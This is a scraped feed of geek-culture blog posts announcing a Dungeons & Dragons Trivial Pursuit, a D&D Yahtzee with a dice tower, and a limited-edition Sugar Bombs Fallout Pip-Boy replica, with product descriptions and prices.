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TRIVIAL PURSUIT®: Dungeons & Dragons Ultimate Edition https://g33khq.org/trivial-pursuit-dungeons-dragons-ultimate-edition https://g33khq.org/trivial-pursuit-dungeons-dragons-ultimate-edition#respond Tue, 29 Aug 2023 19:44:50 +0000 https://g33khq.org/?p=519 The OP has dropped a D&D version of TRIVIAL PURSUIT. TRIVIAL PURSUIT®: Dungeons & Dragons Ultimate Edition Test your proficiency in all matters D&D with TRIVIAL PURSUIT: Dungeons & Dragons Ultimate Edition! Show your mettle as an all-knowing adventurer in this comprehensive challenge based on the classic role-playing game. Navigate the custom game board with […]

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The OP has dropped a D&D version of TRIVIAL PURSUIT.

TRIVIAL PURSUIT®: Dungeons & Dragons Ultimate Edition

Test your proficiency in all matters D&D with TRIVIAL PURSUIT: Dungeons & Dragons Ultimate Edition! Show your mettle as an all-knowing adventurer in this comprehensive challenge based on the classic role-playing game. Navigate the custom game board with iconic D&D character movers in this full-sized collectible edition featuring 1800 questions on Dungeons & Adventures, Monsters, History, Cosmology, Characters, and Magic & Miscellany.

Miscellany.

12+

2+ PLAYERS

60+ MINUTES

$52.99

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YAHTZEE®: Dungeons & Dragons https://g33khq.org/yahtzee-dungeons-dragons https://g33khq.org/yahtzee-dungeons-dragons#respond Tue, 29 Aug 2023 19:39:44 +0000 https://g33khq.org/?p=511 The OP has announced a new D&D Yahtzee. YAHTZEE®: Dungeons & Dragons Take a chance on quick strategy and coordinating creatures in this version of the classic “Shake, Score, & Shout” dice game! YAHTZEE®: Dungeons and Dragons fires up a bold new spin on America’s #1 dice game with a multi-use, black scaled dice tower […]

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The OP has announced a new D&D Yahtzee.

YAHTZEE®: Dungeons & Dragons

Take a chance on quick strategy and coordinating creatures in this version of the classic “Shake, Score, & Shout” dice game! YAHTZEE®: Dungeons and Dragons fires up a bold new spin on America’s #1 dice game with a multi-use, black scaled dice tower with red D&D dragon ampersand and six-sided dice decorated with classic creatures, such as a Dragon, Owl Bear, Gelatinous Cube, and more. Dice tower measures 101 mm H x 75 mm W and fits standard d4 through d20 dice for adventuring in RPGs of any origin!

8+

1+ PLAYERS

30+ MINUTES

$29.99

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Fallout Pip-Boy 2000 MK VI Sugar Bombs Limited Edition Replica https://g33khq.org/fallout-pip-boy-2000-mk-vi-sugar-bombs-limited-edition-replica https://g33khq.org/fallout-pip-boy-2000-mk-vi-sugar-bombs-limited-edition-replica#respond Wed, 23 Aug 2023 22:41:35 +0000 https://g33khq.org/?p=492 fans of the Fallout series, heck out this new limited edition Pip-Boy. Fallout Pip-Boy 2000 MK VI Sugar Bombs Limited Edition Replica BY THE WAND COMPANY , BETHESDA Product Description: This Sugar Bombs skinned Pip-Boy 2000 Mk VI is a replica model of the pre-war Personal Information Processor (PIP) manufactured by RobCo Industries as an […]

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fans of the Fallout series, heck out this new limited edition Pip-Boy.

Fallout Pip-Boy 2000 MK VI Sugar Bombs Limited Edition Replica BY THE WAND COMPANY , BETHESDA

YouTube player

Product Description:

This Sugar Bombs skinned Pip-Boy 2000 Mk VI is a replica model of the pre-war Personal Information Processor (PIP) manufactured by RobCo Industries as an updated version of the Pip-Boy 2000. Designed to be worn on the forearm, this Pip-Boy was the last word in convenience, enabling vault dwellers to keep track of their personal stats and inventory on the go. The Mk VI model was only made available to residents and staff of Vault 76.Until recently, this replica had only been available as a kit, but recent developments in manufacturing capability have enabled RobCo Industries and Sugar Bombs’ Customer Outreach and Flavour Research Team to collaborate on the production of this assembled version. The strikingly sweet white and blue livery, decorated with the classic red oval bomb marking and blue accent piping round the display housing, differentiate this Pip-Boy from the traditional version more commonly seen covering the cereal bowl-holding wrist of the average breakfasting vault-dweller.The enjoyment of a replica piece this accurate is increased by its illuminated display panel and vacuum tubes, which, fitted as standard, feature a Malfunction Function with an authentic Tap-to-Fix action. When illuminated for a period of time, the display and vacuum tubes will start to flicker, simulating the erratic function of this well-used piece of field kit. In the time-honored tradition of fixing such transient electronic faults, a sharp tap to the top of the display housing unit is all that is normally required to correct this minor malfunction and return the display to its flicker-free function.This collectible Sugar Bombs skinned Pip-Boy replica is a strictly limited edition. Each one is marked with its own unique number and comes with a specially designed certificate of authenticity endorsed by The Wand Company.

Product Features:

Pip-Boy 2000 MK VI: 8.27 x 6.89 x 6.3 inches (21cm x 17.5cm x 16cm)Holotape: 2.95 x 1.9 x 0.24 inches (7.5cm x 4.8cm x 0.6cm)Made of plasticBased on the Fallout seriesHighly detailedHand-paintedRequires 3 x AAA batteries (included)Box ContentsPip-Boy 2000 MK VI Sugar Bombs replicaHolotapeCertificate of authenticity

https://www.bigbadtoystore.com/Product/VariationDetails/251650?o=7

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